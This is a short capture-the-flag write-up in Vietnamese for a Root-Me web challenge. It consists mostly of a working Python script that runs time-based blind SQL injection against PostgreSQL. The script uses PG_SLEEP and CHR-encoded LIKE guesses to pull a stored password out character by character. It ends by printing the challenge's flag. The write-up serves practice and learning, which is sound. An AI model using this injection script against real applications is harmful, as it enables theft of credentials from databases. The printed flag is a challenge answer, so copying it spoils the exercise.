Đầu tiên ta sẽ vào trang xem thì ta thấy được thông tin chính là ta có thể xem được thông tin trang và thông tin người dùng

Graphical user interface, application, Word

Description automatically generated

Tiếp theo ta sẽ code python để truy vấn gửi flag

#import libraries

import requests

import string

import time

#Global variables

host = "http://challenge01.root-me.org/web-serveur/ch40/"

session = requests.session()

query = 0

flag\_characters = []

#Function to brute force the password

def BruteForce(password):

    #Generate the payload

    print("BruteForce:", password)

    encoded\_password = '||'.join([f"CHR({ord(c)})" for c in password])

    payload = f"2; SELECT (CASE WHEN ((SELECT password from users where id=1 OFFSET 0 LIMIT 1 ) LIKE ({encoded\_password})) THEN (SELECT PG\_SLEEP(1)) ELSE (SELECT PG\_SLEEP(0)) END)--"

    #find the time it takes to get the response

    start = time.time()

    r = session.get(host, params={"action": "member", "member": payload})

    global query

    query += 1

    end = time.time()

    timing = end - start

    #if the time is greater or equal by 1 second, it means that the password is correct

    return timing >= 1

#Main function

if \_\_name\_\_ == "\_\_main\_\_":

    #First round find the characters in the flag

    for char in string.printable:

        if char in r"%\_":

            continue

        if BruteForce(f"%{char}%"):

            flag\_characters.append(char)

    print(flag\_characters)

    #Second round find the flag

    flag = ""

    while True:

        for char in flag\_characters:

            if BruteForce(f"{flag}{char}%"):

                flag += char

                print("Found the character:", char, "Flag pice:", flag)

                break

        else:

            print("No more character found")

            break

    #Print the flag

    print("Flag:", flag)

Ta có được flag

Text

Description automatically generated

T!m3B@s3DSQL!